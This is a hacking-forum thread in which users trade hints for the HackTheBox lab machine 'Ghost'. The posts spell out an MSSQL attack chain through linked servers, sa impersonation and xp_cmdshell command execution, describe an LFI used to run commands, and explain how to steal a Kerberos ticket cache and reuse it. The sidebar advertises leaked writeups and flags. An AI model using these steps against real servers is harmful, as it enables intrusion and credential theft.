Ghost - Insane
by f4k3h4ck3r - Saturday July 13, 2024 at 03:43 PM
gg everyone was a really good boxe to play all
Reply
For some reason I  am getting this when trying to execute the command, any thoughts ..?
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
[-] ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.
Reply
(Aug 12, 2024, 09:48 PM)MhmmdSr5 Wrote: For some reason I  am getting this when trying to execute the command, any thoughts ..?
SQL (GHOST\florence.ramirez  guest@master)> use_link [PRIMARY]
[-] ERROR(PRIMARY): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.

Because the htb admin Tightened MSSQL Permissions

Look machine's changelog tab
Reply
(Jul 15, 2024, 09:59 AM)wh1t3_r4bb1t Wrote:
(Jul 15, 2024, 08:32 AM)bmoon10 Wrote:
(Jul 15, 2024, 07:40 AM)wh1t3_r4bb1t Wrote: If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login
Reply
(Aug 28, 2024, 02:56 PM)kewlcat002 Wrote:
(Jul 15, 2024, 09:59 AM)wh1t3_r4bb1t Wrote:
(Jul 15, 2024, 08:32 AM)bmoon10 Wrote:
(Jul 15, 2024, 07:40 AM)wh1t3_r4bb1t Wrote: If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login

You mast do sql injection command from web app linked https://core.ghost.htb:8443/

I solved it in this way
Reply
(Jul 13, 2024, 09:40 PM)Uliys Wrote: Anything interesting in http://ghost.htb:8008/ghost/api/content/posts ?

if you get the access to the gitea dev repo you will find that these end point led to LFI vuln just use that public API key and pass commands using an extra parameter in the url
Reply
(Aug 28, 2024, 03:02 PM)Aner Wrote:
(Aug 28, 2024, 02:56 PM)kewlcat002 Wrote:
(Jul 15, 2024, 09:59 AM)wh1t3_r4bb1t Wrote:
(Jul 15, 2024, 08:32 AM)bmoon10 Wrote:
(Jul 15, 2024, 07:40 AM)wh1t3_r4bb1t Wrote: If someone stuck with mssql, in thread missed 2 things:
SQL > enum_links
SQL > use_link [PRIMARY]
SQL > use master
SQL > exec_as_login sa
SQL > EXEC sp_configure 'show advanced options', 1
SQL > REGONFIGURE
SQL > EXEC sp_configure 'xp_cmdshell', 1
SQL > RECONFIGURE
SQL > xp_cmdshell "whoami"

In the impacket-mssqlclient utility after the 'exec_as_login sa' step use the enable_xp_cmdshell command .. it executes the same 4 lines EXEC sp_configure , RECONFIGURE etc.,

No, I was getting "let administrator enable xp_cmdshell" message after it, so need to enable it manually.
UPD. oh you mean "enable_xp_cmdshell", got it

Appears PRIMARY is no loner a linked server. Fails to login

You mast do sql injection command from web app linked https://core.ghost.htb:8443/

I solved it in this way


I see. Are you supposed to execute xp_cmdshell in "https://core.ghost.htb:8443/"?
Reply
Hey guys. After the patch, there is no password for florence.ramirez in docker-entrypoint.sh file. Anyone know how to goon?
Reply
(Nov 24, 2024, 01:13 AM)tmpuserbreach Wrote: Hey guys. After the patch, there is no password for florence.ramirez in docker-entrypoint.sh  file. Anyone know how to goon?

You are apparently not supposed to use it anymore but just ssh straight into the linux-dev machine

command: ssh florence.ramirez@ghost.htb@dev-workstation

in here there is a krb5cc_50 in the tmp folder. You need to extract this back to the first linux machine and then back to your attacker machine to use it like so:
export KRB5CCNAME=krb5cc_50
Reply
After searching for a long time, I finally found this place. It's great.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 91,590 33 minutes ago
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,944 9 hours ago
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 92,799 10 hours ago
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,616 Today, 05:08 AM
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,269 Yesterday, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)